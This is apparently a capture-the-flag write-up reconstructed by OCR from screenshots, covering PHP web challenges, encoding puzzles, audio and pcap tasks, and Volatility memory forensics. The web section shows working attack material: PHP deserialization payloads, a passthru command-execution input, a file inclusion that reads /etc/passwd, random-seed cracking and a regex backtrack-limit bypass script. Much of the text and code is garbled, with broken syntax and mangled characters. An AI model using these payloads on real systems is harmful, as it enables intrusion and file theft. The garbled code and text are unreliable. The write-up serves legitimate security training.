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Web
flag7 9k B

flagTE B E

flagi R 7, HkfagftE? = &EEME: flag{xx},
PABE1: http://119.61.19.212:57301/
PREE2: http://119.61.19.217:57301/

CSDN @7 41/

php
error_reporting(9);
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function _ construct()
{
$this->file
$this->content
)i

function __ wakeup()




if($this->mode ){
$this->choice= new write();

)i

if($this->mode ){

$this->choice= new read();

)i
function  call($file,$content) {

highlight file($this->file);
b
function _ destruct(){
if($this->mode ){
$this->choice->writewritetxt($this->file,$this
b
else{
$this->choice->open($this->file);

class write{

public function writewritetxt($file,$content)

{
$filename=%$file ;
if(is_file($filename)){

unlink($filename);

)i
file put contents($filename, $content);
echo 5

}

class read{
public $file;

public function __ construct(){
$this->file ;
echo $this->file

}

function open($filename){
$file=$this->file;
if(is_file($file)){
if($file
die(
)i
else{
highlight file($file);
)i

function check($dis_content){
if(preg_match(
die( )

)i

$pop=$_GET[ 15

if (isset($pop)) {
check($pop);

A (4
B

content);

, $dis_content)){




} else {
highlight file(

highlight file()<-begin:: call()<-begin: :open()

<?php
error_reporting(9);
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function _ construct()
{
$this->file
$this->content
$this->mode

new begin();
$res->choice new begin();

echo urlencode(serialize($res));

PS C:\Users\Administrator\Desktop> php -f .\poc.php
0%3A5%3A%22begin’%22%3AA4%3A%7Bs%3AA4%3A%22F11e%22%3Bs%3A11%3A%22getflag. php%22%3Bs%3A4%3A%22mode%22%3Bs%3A0%3A%22
22%3Bs%3A7%3A%22content%22%3Bs%3A6%3A%22mochu7%22%3Bs%3A6%3A%22choice’%227%3B0%3A5%3A%22begin’%227%3A47%3A%7Bs%3A47%3A
22F11e%22%3Bs%3A11%3A%22getflag. php%22%3Bs%3AA4%3A%22mode’%22%3Bs%3A0%3A%227%227%3Bs%3A7%3A%22content’%227%3Bs%3A6%3A
22mochu77%22%3Bs%3A6%3A%22choice%227%3BN%3B%7D%7D

getflag.php

<?php

error_reporting(0);

1
if(preg_match(

die(
s
if(!preg_match(
{
die( )E

bj
call user_func($b,%$a);

b=passthru&a=dir
b=passthru&a=rev ?f?1?a?g.php




119.61.19.212:57301/getflag.php X = +
« @ O & 11961.19.212:57301/getflag.php

php?< ;)(tixe ;"}as211-csqg-53vd- Tvdv-5ads{galf" ohce >»?

D O==s O=sa DEE NEE () Etess e Oas

Encryption ~ Encoding~ SQL~ XSS~ Other -
& Load URL hitp://119.61.19.212:57301/getflag.php
gg Split URL
» | Execute .
Post data Referer User Agent Cookies Clear All

b=passthru&a=rev ?f?1?a?g php

FEUHE: 11
'?l' i 'E "J:_E 20045

NF—KAZT —SKB=EIEESE, FBER eIl —ex
SHER. =XEFE: flagiox},
PRES1: hitp://119.61.19.212:57305/
TREE2: hitp://119.61.19.217:57305/

o [

CSDN @7 4)/




$hash $ COOKIE[
$users = $ COOKIE[ 1;

if($hash md5 ($SECRET. $users) ){

echo

} else {
setcookie( 5 );
setcookie( , md5($SECRET

PS C:\Users\Administrator\Desktop> php -r
Command line code:1:
string(32)

session_start();
if(!isset($_SESSION[ ID)R
$_SESSION[ ]=rand(@,999999999) ;

for ( $1 = 0; $i < 24; $i++ ){
$pass.=substr($table, mt_rand(@, strlen($table) 1), 1);

if(isset($_POST[ D)
if($pass==$_POST][ IDA
echo

BfREOIBENLEL, A H T ARV R+ = 07: kv34bCTSCMNW
T DB X S 7 5 R AL B R R HETS B mt_rand (0, strlen($table) - 1) A=HIBENLEL
B R BENL B ¥ Biphp_mt_seed 7] LAIR B A HdE 1 =K




out_str

for idx1 in ( (userpass)):
for idx2 in ( (table)):
if userpass[idx1] table[idx2]:

out_str (idx2) (idx2) (table)-1)
print(out_str)

PS C:\Users\Administrator\Desktop> python .\code.py
10 10 © 61 21 21 © 61 29 29 © 61 30 30 @ 61 1 1 © 61 38 38 @ 61 55 55 0 61 54 54 0 61 38 38 0 61 48 48 0 61 13 1
3 0 61 58 58 0 61

f#H php_mt_seed fZEHiseed

root@mochu7-pc:/mnt/d/Tools/Web/php_mt_seed

Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT]
-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
ersion: 3.0.7 to 5.2.0
Found @, trying 0xfc@00000 - oxffffffff, speed 1776.4 Mseeds/s
ersion: 5.2.1+
Found @, trying 0x14000000 - Ox15ffffff, speed 145.3 Mseeds/s
0x1464bldf 342143455 (PHP 7.1.0+)
, trying 0xfe@00000 - oOxffffffff, speed 131.4 Mseeds/s

<?php
mt_srand(342143455);

for ( $1 = 0; $i < 24; $i++ ){
$pass.=substr($table, mt_rand(@, strlen($table) 1), 1);

}

echo $pass;

PS C:\Users\Admin rator\Desktop> php -f .\generate.php
kv34bCTSCMnWcktOyshMVbBE




<?php
function is_php($data){

return preg_match(

}
if($_POST[ 1

{
if(is_php($_POST[
echo
} else {
if(preg_match(
highlight_file(

3 BLAE IE U ) 3R [BEL AR D 0 W 2%, B4 AT AR A A PCRE [l 8 R

import requests

burpo_url

burp@_cookies

}
burp@_headers

1000000
payload}
requests.post(burp®_url, headers=burp@_headers, cookies=burp® cookies, data=burpo®_data)

print(res.text)

@ kali-linux

PS C:\Users\Administrator\Desktop> python .\exp.py
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>@E=HEl</title>
<link rel="stylesheet" href="css\treasure.css">
</head>
<body>
<form id="login-box" method="POST">
<hl>=E@i</hl>
<prEIEEENES, REHS=ANSEE, EEHETARRS, —ANRBERETFE— A==, </p>
<1-- ZmxhZ+WcqGZsYWcucGhwsLit ——>
<div class="form">
<div class="item">
<i class="fa fa-user" aria-hidden="true"s></i>
<input type="text" name="treasure" placeholder='EEXEMBEENZTE ">
</div>
</div>
<p><input class="button" type="submit" name="submit" value="}Z3z"></pz
<!-- function is_php($data){
return preg_match('/[flagl.*[phpl/is', $data)
h

if($_POST['treasure’'])

if(is_php($_POST['treasure'])) {
echo "<script >alert('X{PABEZEE");</script>";
} else {
if(preg_match(’/flag.php/is', $_POST['treasure'])){
highlight_file('flag.php');

</form>
</body>
</html>
<code><span style="color: #860080">
<br /></span><span style="color: #8600BB">?&gt;</span>sp;</span><span style="color: #DD8808">"flag{ClngratulaTion2-8n—-gEtting-the-treAsure}"</span><span style="color: #887708">;
</span>
</code>
PS C:\Users\Administrator\Desktop> | CSDN @7 4]




MBS 11
mid

"try to include, iE3zflagigzl: flagpoood,
PRiE1: http://119.61.19.212:57303/index.php
P52 hitp://119.61.19.217:57303/index.php

119.61.19.212:57303/indexphp? X = +

<« e O 8 1196119212
rootx:0:0:root:/root/bin/bash daemon:x:1:1:daemon:/usr/shin:/usr/sbin/nologin binx:2:2:bin:/bin;/usr/sbin/nologin sysx:3:3:sys./dev:/usr/sbin/nologin sync.x:4:65534:sync./bin;/bin/sync games:x:5:60:games./usr/games./usr/sbin/nologin
manix:6:12:man:/var/cache/man:/usr/sbi i ogin mail:x:8:8:mail:/var/mail-/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp: :10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbinfnologin www-data:x:33:33:www-dataz/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:3%:ircd:/var/run/ircd:
Just/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nabody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,..;/run/systemd:
/bin/false systemd-network:x:101:103:systemd Network Management,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,;/run/systemd:
/bin/false _apt:x:104:65534:/nonexistent:/bin/false <7php

session_start();
include §GET[1]:
highlight_tile(_FILE_):

119.61.19.212:57303/index.php” X +

« e O /] 11961.19.212

flag{bfed5f9cac073879c9e6alctb1ab0eb7} <Iphp
session _start():
include §_GET[1]:
highlight file( FILE -

T



EEnHE: 1M1
serialize 40053

PEREEMEA: flag{xxx},
PAiE1: hittp://119.61.19.212:57304/
PRIE2: hitp://119.61.19.217:57304/

o T




<?php

error_reporting(9);

highlight file(_ FILE_);

class Demo{
public $class;
public $user;
public function
{
$this
$this

$context

user

class

new $this

___construct()

]
]

class ($this->user);

foreach($context as $f){

echo $f;

public function

{

$context

new $this

__wakeup()

class ($this->user);

foreach($context as $f){

echo $f;

class safe{
var $user;
public function
{
$this
echo (

user

if(isset($_GET[

unserialize($_GET[

)i
else{
$demo=new Demo;

HiEPHRRAER
poc.php

php
class Demo{

public $class;
public $user;
public function
$this
$this
}

class

user

}

$res new Demo();

__construct($user)

$user;

$this->user);

IDDR
1);

__construct(){

echo urlencode(serialize($res));




?data=0%3A4%3A%22Dem0%22%3A2%3A%7Bs%3A5%3A%22class%22%3Bs%3A18%3A%22FilesystemIterator%22%3Bs%3A4%3A%22user%s22%3

Bs%3A2%3A%22 .%2F%22%3B%7D

if(izset(3_GET[ data’ 110 {
wnserialize(3_GET[ data’ 17,
}

elsel
Jdemo=riew Demo;

I /flag.php./index.php
¥ O === sls O iEE NmEE ()

HackBar

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~
@ Load URL http:/1119.61.19.212:57304/?data=0%3A4% 3A%22Dem0o%22%3A2%3A% 7 Bs% 3A5% 3A% 22c|ass % 22%3B5 % 3A18%3A% 22F ilesystemiteratort22%3Bs % 3A4 % 3A% 22User% 22%3B5% 3A2% 3A%22. %2F %22%38%7D
gg Split URL
») Execute

[J Postdata [ Referer [J User Agent [ Cookies Clear All o el
C5DN @21 4)

php
class Demo{
public $class;
public $user;
public function _ construct(){
$this->class

$this->user
b

)i
$res new Demo();
echo urlencode(serialize($res));

/ ?data=0%3A4%3A%22Demo%22%3A2%3A%7Bs%3A5%3A%22class%22%3Bs%3A13%3A%22SplFileObject%22%3Bs%3A4%3A%22user%22%3Bs%3

N10%3A%22 . %2FFlag . php%22%3B%7D



</span>

</code>< ?php

error _reporting(0) ;

echo "/flag is not here! Baby -

function check($info){
$rilter arr = array( system’, "Fflag’, "eval’):
$rilter = °/ . implode(" |, $filter arr). ' /i’ :
return preg replace($filter, °’, $info):

}

$profilel’ path’ ] 3 POST[ path’];
$profilel” file’] = $ POST[ file’ J;

$fun ser = check(serialize($profile)):

if(strpos ($fun ser, "log’) !== falsel){
die();
}

$ser _info = unserialize ($fun_ser); .
var dump (readfile ($ser infol File ])): -

()] r

BEREF K fag

Unseriallzelj_bnil oata 1))
else
$demo=new Demn;

1 f/boot//tmp//dev//lib//bin//proc//sbin//mnt//srv//media//opt//root//etc//lib64//sys//var//usr//run/fhome//.dockerenv//flag

FE Fif: HackBar
Encryption ~ Encoding ~ SQL ~ XSS5~ Other ~
@ Load URL hitp://119 61.19.212.57304/7dala=0%3A4% 3A%22Dem0%22% 3A2%3A% T Bs% 3A5% 3A%22C ass %22%3Bs% A1 8% 3A% 22Filesystemiteralor% 22% 385 % 3A4% 3A% 22User % 22%3Bs % 3A1 % 3A% 22%2F % 22%36%7D
i split URL
‘ » ) Execute

[J Postdata [ Referer [ UserAgent [J Cookies Clear All

CSDN @3F 7

BEH

/ ?data=0%3A4%3A%22Demo%22%3A2%3A%7Bs%3A5%3A%22class%22%3Bs%3A13%3A%22SplFileObject%22%3Bs%3A4%3A%22user%22%3Bs%3

AS7%3A%22%2Ff1ag%22%3B%7D

if (iezet ($_GET[ data’ 1)) 1
unserialize(§_GET[ data’ 1),
}

elsel
$demo=new Demo;

1 flag{3e1e6f1dba7622e67d5c674590fe8c3c}

HackBar

Encryption + Encoding + SQL ~ XSS~ Other =
& Load URL http://119.61.19.212:57304/?data=0%3A4%3A%22Demo%22%3A2%3A% 7Bs%3A5%3A% 22class % 22%3B5% 3A13%3A%22SpIFileObject% 22%3B5% 3A4% 3A%22user% 22%385% 3A5% 3A % 22%2Flag % 22%36%7D
gg Split URL

Execut
| Y Breale [ Postdata [J Referer [ User Agent [J Cookies Clear All .
C5DN

Misc

231



=31

X ALmE?
=k
ZmxhZ3tiNTRjZTIKN2I0ZTE30 TgwZGQOOTA2ZDk5SNDFIZDUYYX0=

o [

CSDN @ #] |

PS C:\Users\Administrator> php -r

Command line code:1:
string(38)

DECODER

baseEFIFE T, BEPE, 123flagiEzl: flagioxx],

o

CSDN @3 4] |

flag 1.txt

base32->base58->base85

e Baseb8:

e Base85:


https://www.qqxiuzi.cn/bianma/base.php
http://www.metools.info/code/c74.html
http://www.hiencode.com/base85.html

04238b694

flag_2.txt

e http://www.atoolbox.net/Tool.php?ld=937

EmojiR BT S ImhS/fEmS

B0

= L= ]

Whh]nD — 3T
Ir__._f_l'.. (r!J/' ,-‘}||

¢ emoji-aes: https://aghorler.github.io/emoji-aes/

A% Rotation

To decrypt, select the agreed rotation (if custom), enter the emaji-aes string, and then the pre-shared encryption key.
B Advanced ¥

Rotation:

a-1

The rotation field allows for the one-to-one substition of the Basef4 character set with emajis to be rotated. This field must match the selection on encryption.

Message
b52bff9568
4
Key
Decrypted! CSDMN @3F #]

b52bf{9568


http://www.atoolbox.net/Tool.php?Id=937
https://aghorler.github.io/emoji-aes/

flag_3.txt

Base91->Base64fa’s

e http://www.hiencode.com/base91.html

def get base64 diff value(sl, s2):
base64chars
res (7]
for i in ( (s2)):
if si[i] s2[i]:
return (baseb4chars.index(s1[i]) base64chars.index(s2[i]))

return res

solve stego():
with ( 5 ) as f:
file lines f.readlines()
bin_str
for line in file_lines:
steg line line.replace( 5 )
norm_line line.replace( 5 ) .decode( ) .encode( ) .replace(
diff = get_base64_diff value(steg line, norm_line)
print diff
pads_num steg line.count(
if diff:
bin_str (diff)[2:].zfill(pads_num 2)
else:
bin_str pads_num
print goflag(bin_str)

def goflag(bin_str):
res_str
for i in (o, (bin_str), 8):

res_str ( (bin_str[i:i + 8], 2))

return res_str

if _ name__

solve stego()

37267472516
& %&flag

flag{042f38b694b52bf19568371267472516}

huahua



http://www.hiencode.com/base91.html

huahua

{23cflagigsl,: flagpooxx),

o [
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CEeEiS

huahua. rip X

T p— T

“= ®F - hushuapng

flag{b3afc91a8fbbbcc798bdebb253b025
50}

flag{b3afc91a8fbb6cc798bdebb2

NOISE

BESUHE: 11




S i3z, flagh&=: flag{oood.

£3 Noise.zip £ N EEEEF Fwroh =8 BIRTLAELR (CRC) XA EEAE mEEE Bt 8
noise
D out 1,610,223 2,116,844 698cB3cd  2021/8/29 17:11:42 Deflate A
@ | hint.docx 10,431 11,998 DOCX =0 f7lecleb 2021/8/29 19:22:04 Deflate A
[&] f@g.jpg 143,802 151,102 JPG 37i 5350d655 2021/8/29 19:58:00 Deflate A

out XHFRA wav LM

s
'~$hint.docx’ fl@g.jpg hint.docx out
file out
out: RIFF (little-endian) data, WAVE audio, Microsof®mBCM, 16 bit, mono 4u418@ Hz

BG4 out.wav il Audacity T, EFEMILE

& out - a X
YC{;:F) REE) EES WEV) BRN) BN £m8(G) MRO) oA IRO) B|EIH)
> S ds e smmmsak s 2 5 0 E G s ode e G0 s > 5 4| & ) -
(| I ™ IX/ 4 L= ¥ b
afe k| KOE| vy o~ ajajaQlel
MME v & R Realtek(R) Audic) v 2 () RMEE ~ ®}) Speakers/Headphones (Realtek(R) v
zp—}.o . . . 4.0 5.0 6.0 . . 10.0 11.0 12.0
e -g. T
B% | um
e
= =

w W L
Mw\u mmm HMHMHH» W\ MH

i
uMu\w»

DdDdDd



DdDdDd

Xaaa UMNERGEBEAE, FaglsSz UBHEHES
RELTHAT, M NSELHCLRIXINE, BERHATHER
AN, HEFTENE RSt FEA . s v I\E&EFFE
MHREHICE R T, IS FRHITAEFERTHIHE, =2
Azflagtg=l.: flagPooxx),

ol

DdDADd . pcap S HHTTPST %

» R > TE > FETHE

1]

#*

[ ] Smashing%20Wolt.gcode

& ibe-2.23.50
&| head3.jpg
&| scenery2.jpg
&| head0.jpg
H mui.min(2).js
E rmuimings

&| sceneryl.jpg
&| head2.,jpg
&| scenery0.jpg
D mui.min(2).css
[%] mui.min.css
&| scenery3.jpg
&| headl.,jpg

o mui(2).1f

o mui.ttf

€ main.html

€ myinfo.html

B apr(2)js

TR BRI S

~—

CSDN @ %] |

21/10/23 9:53
21/10/23 9:53
21/10/23 9:53
21/10/23 9:53
21/10/23 9:53
21/10/23 9:53

21/10/23 9:53

21/10/23 ©:53
21/10/23 2:53
21/10/23 9:53
21/10/23 ©:53
21/10/23 9:53
21/10/23 2:53
21/10/23 9:53
21/10/23 ©:53
21/10/23 2:53
21/10/23 9:53

21710423 9:53

IPG 315
IPG 32{%
IPG 31
=EHIEE

TrueType T34
TrueType FHHE

Chrome HTML D...

Chrome HTML [...

e - e e - 7 e e 7 ey 7 e 7 e e - e ad
m m m m m m m m m m ==} m m ==} m m m [==]

~
~ 3

i

i
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4 ;| Smashing%20Wolt.gcode

1 ; generated by Slic3r 1.3.8 on 2021-88-25 at 89:58:01

; external perimeters extrusion width = @.55mm (4.37mm"3/s)
; perimeters extrusion width = @.78mm (11.44mm"3/s)

; infill extrusion width = @.62mm (13.45mm"3/s)

; solid infill extrusion width = ©.78mm (3.81lmm"3/s)

; top infill extrusion width = @.78mm (2.86mm"3/s)

M1e7

M1@4 5288 ; set temperature
G28 ; home all axes

G1 Z5 F5800 ; lift nozzle

; Filament gcode

M189 5288 ; set temperature and wait for it to be reached
G21 ; set units to millimeters
G99 ; use absolute coordinates
M82 ; use absolute distances for extrusion
G92 EB

G1 76.356 F7800.000

Gl E-2.06000 F2400.00000

G92 EB

G1 X12.976 Y¥101.129 F7800.000
G1 E2.00600 F2406.00000

G1 F18ee

G1 X18@.38@ Y56.861 E7.35535
G1 X183.854 Y56.726 E7.44067
G1 X184.245 ¥56.919 E7.47360
G1 X186.411 Y57.673 E7.54896
G1 X187.436 Y58.378 E7.58745
G1 X188.721 Y59.453 E7.63929
G1 X189.6308 Y6@.379 E7.67944
G1 X196.178 Y68.51@ ES.00246
G1 X196.788 Y69.273 E8.83121
G1 X197.824 Y71.145 E8.09864
G1 X198.275 Y72.853 E8.130803
G1 X201.868 Y80.942 EB.42669
G1 X202.299 Y82.60@ EB.47970
Gl X202.471 Y83.971 EB.52245
G1 X202.359 Y86.262 EB.59341
Gl X201.472 Y88.377 EB.66437
G1 X200.741 Y89.316 EB.70118
G1 X200.684 Y90.820 EB.73897
G1 X197.191 Y91.831 E8.83659
G1 X144.433 Y188.080 E10.54467
G1 X18.967 Y143.183 E14.57515
G1 X17.332 Y143.345 E14.62630
G1 X16.785 Y143.357 E14.64322
G1 X14.068 Y142.813 E14.73879
G1 X13.417 Y142.557 E14.75872
Gl X11.829 Y141.584 E14.808832 CSDN @ﬁﬂﬁ 4]
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Forensic

f=3zflagi&e,: flagoood,

PS D:\Tools\Misc\volatility_2.6_win64_standalone> .\volatility.exe .\data.raw filescan | findstr 'flag’
Volatility Foundation Volatility Framework 2.6

0x000000007d09b610 2 8 RW-rw- \Device\HarddiskVolume2\Users\sun\AppData\Roaming\Microsoft\Windows\Recent\flag.doecx.lnk
0x000000007d1a0d1e 16 RW---- \Device\Harddiskvolume2\Users\sun\Desktop\flag.docx

0x0000P0RTefbff20 15 R-—-rwd \Device\HarddiskVolume2\Users\sun\Desktop\flag.zip

0x000000007F3cbu3e 16 RW--—— \Device\HarddiskVolume2\Users\sun\Desktop\flag.docx

0x000800807F8a57b0 2 RW-rw— \Device\HarddiskvVolume2\Users\sun\AppData\Roaming\Microsoft\Windows\Recent\flag.txt.lnk
0x0000PARATFIeadTe 2 RW-rw- \Device\HarddiskVolume2\Users\sun\AppData\Roaming\Microsoft\Windows\Recent\flag.png.lnk
0x000000007fde2f20 16 RW-r—— \Device\HarddiskVolume2\Users\sun\Desktop\flag.txt

PS D:\Tools\Misc\volatility_2.6_win64_standalone> .\volatility.exe .\data.raw dumpfiles 0x000000807Fde2¥20
Volatility Foundation Volatility Framework 2.6

DataSectionObject @x7fde2f20 None \Device\HarddiskVolume2\Users\sun\Desktop\flag.txt

PS D:\Tools\Misc\volatility_2.6_win64_standalone>

PS D:\Tools\Misc\volatility_2.6_winé4_standalone> | CSDN @7 %]
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hot-here-hhhhhhe~m~e~

PS D:\Tools\Misc\volatility_2.6_winél_standalone>

PS D:\Tools\Misc\volatility_2.6_win6l4_standalone>

PS D:\Tools\Misc\volatility_2.6_win64_standalone> .\volatility.exe \data.raw dumpfiles
Volatility Foundation Volatility Framework 2.6

DataSectionObject 8x7efbff28 None \Device\HarddiskVolume2\Users\sun\Desktop\flag.zip

PS D:\Tools\Misc\volatility_2.6_win64_standalone> .\volatility.exe \data.raw dumpfiles
Volatility Foundation Volatility Framework 2.6

DataSectionObject 8x7f3cbd38 None \Device\HarddiskVolume2\Users\sun\Desktop\flag.docx

PS D:\Tools\Misc\volatility_2.6_win64_standalone> .\volatility.exe \data.raw dumpfiles
Volatility Foundation Volatility Framework 2.6

DataSectionObject ©x7d1addl® None \Device\HarddiskVolume2\Users\sun\Desktop\flag.docx

PS D:\Tools\Misc\volatility_2.6_win64_standalone> |

ZmxhZ3s5MDE3Y2VmMjZhMDdiZWI0ZTY20WEOY TgwNmJjZDIiNnO=

PS D:\Tools sc\volatility 2.6 win64_ standalone> php

Command line code:1:
string(38)

exe080808807efbff20

8x0080880807f3cbu3e

0x008080807d1a8d1e
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fRIEJG grep -rn 'flag

¥ powerShell X | O kalidfinux

cd Downloads/
15
base6d.txt DdDdDd.pcap desktop.ini flag_2.txt flag.zip huahua.png LsbTest misc8.zip noise A K4
data.raw DdDdDd.zip  flag_l.txt flag_3.txt Forensic.zip huahua.zip misc8 Misc-Writeup.md Noise.zip %ﬁgsz#; # B Bi 4 . rar
cd misc8
15
'~$key.docx’ flag  key.docx
file flag
flag: Zip archive data, at least v2.8 to extract
1s
'~$key.docx’ flag key.docx
file flag
flag: Zip archive data, at least v2.80 to extract
s
flag_not_here flag_not_here.zip flag.zip key.docx
cd flag_not_here
1s

' [Content_Types].xmL* customxml  docProps _rels

total 4.8K
druxruxrwx 1 1800 root 512 13:56
druxrwxrwx 1 1800 root 512 13:56 ..
—rwxrwxrwx 1 1668 root 1.4K 20812 '[Content_Types].xml'
druxrmxrwx 1 1088 root 512 2012 customxml
druxrmxrwx 1 1088 root 512 2012 docProps
druxrmxrwx 1 1088 root 512 2012 _rels
drwxrwxrwx 1 1000 root 512 Jul 2012 word
grep -rn 'flag{' ./*

./word/document.xml:2:<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2018/wordprocesSsingeanvassmmlas:nc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-micr
osoft-com:office:office" xmlns: ttp://schemas.openxmlformats.org/officeDocunent/2006/relationships" xmlns:m="https/fschemas . openxmlformats .org/officeDocument/2006/math" xmlns: rn:schemas-microsoft-com:vm
1" xmlns:wpld="http: //schemas.nicrosoft.com/office/word/2016 /wordprocessingbrawing” xmlns:wp="http://schemas.openxmlformateuorghdraningml/2606/wordprocessingbraning” xmlns:w="http://schemas.openxnlfornats.org/
wordprocessingml/2886/main" xmlns:wld="http://schemas.microsoft.com/office/word/2616/wordml" xmlns:wle="urn:schemas-microsof@ycom gffice:word" xmlns:wl5="http://schemas.microsoft.com/office/word/2012/wordml" x
mlns :wpg="http://schemas.microsoft.com/office/word/2016/wordprocessingGroup” xmlns:wpi="http://schemas.microsoft.com/office/wold/2019/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006
/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/20816/wordprocessingshape" xmlns:wpsCustomData="http://www.wps.cn/o%ficeDycument/2013/wpsCustomData” mc:Ignorable="wld wl5 wplu"><w:body><w:p><w:pPr>
<m:pStyle w:val="2"/><w:keepNext w:val="@"/><w:KeepLines w:val />< idowControl/><w:suppressLineNumbers w:val="0"/><m:shd lal="clear" w:fill="FFFFFF"/><w:spacing w:before="294" w:beforeAutospacing=
after="294" w:afterAutospacing >ew:ind w:left: w:right= H i ><w:rPr><w:rfonts w:ascii="HIMEE" w:hAnsi="FREE" w: eastAsJa'"ﬁE”'?& H "/><w:i wival="@"/><w:iCs w:ival=
[><w:caps w:val: /><w:color w:val="121212' I i b z H 7" /><w:s5zCs w:val="27"/></w:rPr></ Pr><w:r><w:TPr><w H i ii i3 i="fHEREE w:eastAsi

BIEE  /><w:i wival="8"/><w:iCs wival="8"/><w:caps w:val="8"/><w:color w:val="121212"/><w:spacing w:val="8"/>$w:sz w:val="27"/><w:szCs w:val="27"/><w:shd w:val="clear" w:fill="FFFFFF"/></u
5 £, RENzEREEEEARK LT, PEANEEMRE, RE[KOWEE R, AKEKIFTTE. BOEANESNLERERN ., S7ASKSN0T, MISREEKE FOREL, @7, U
TRMBRSEMET, BNBFFERB ETE. </wit></w:ir></w:p><u:p><w:pPr><u:pStyle w:val="2"/><n:keepNext w:val="8"/><w:keepLines w:val="8"/><w:widowControl/><mw:suppressLineNumbers w:val="8"/><w:shd w:val="
clear" w:fill="FFFFFF"/><w:spacing w:before="20U" w:beforeAutospacing="e" w: "204" w:afterAutospacing="e"/><w:ind w:left="0" w:right="e" w:firstLine="8"/><w:rPr><w:rFonts w:hint="eastAsia" w:ascii="{#{&JE
E" wrhAnsi= w:eastAsia= E £ WHER Ll i £ g 5 - ] 3 ] '111212"/><w:5pacing wival="@"/><w:sz w:val="27"/><w:szCs w:val="27"/></w:rPr><
/w:pPr><w:r><w:rPr><w:rronts int="eastAsial i [7¢7% 3 " w:eastAsia="RUEIE H -3 / =i 2 "/><w:icaps w:va "/><w:color w:val="121212"/><u:spac
ing w:val="@"/><w:sz w:val="27"/><w:szCs w:val="27"/><w:shd w:val: w:Fill="FFFFFF"/></W:TPT><n:t> m;%ﬁﬁﬁ@&m ?tﬂ](ﬁf 3 AEEE, RRMETEA, #ﬁﬁﬁl’.ﬁ"?}& EAARFEAE
, HBFBHRR, CWEE—HXE! "REY, IRAORERHXES—F, EEARRHKR, </w:t></w:r></n:p><w:p><n:pPr><w:pStyle n:va "g"/><w:keeplLines w:va ><w:widowControl/><w:sup
pressLineNunbers w:val="8"/><u:shd w:val= clear" w:Fill="FFFFFF" /><w:spacing w:before="294" w: beForeAutospac)ng— " w:after="290" w: aw‘terAutospaclng:"a /><w ind w:left="6" w:right w:FirstLine="a" /><u:rPr><
w:rFonts i i ii=" G e i="fRIE R w: i tes=" AR R /><u 8"/><w:iCs w:val= £ a " /><m:color w: 121212"/><u:spacing
wival="27"/><w:szCs w:val '27"/></w.rPr)(/w:pPr><w.r><w.rPr><w.rF0nts w:hint="eastAsia" w:ascii="RUREE 5 i=" M BIEE " wieastAsi " = g E "/><w i wival="@"/><w:iCs w:va

@"/><w:color w:val="121212"/><w:spacing w:val=""/><w:sz w:val="27"/><w:szCs w:val="27"/><w:shd w:va Fill="FFFFFF"/></w:rPr><w:br w:type="textWrapping"/></w:r><w:r><w:rpr><
i :hAns. HEIEE" wreastAsia="HIWER : HERIER /><m:i wival="0"/><w:iCs u: icaps w:val="@"/><w:color w:val="121212"/><w:spacing w:val="@"/><w:sz w:val="I7S[PNu@5E%])
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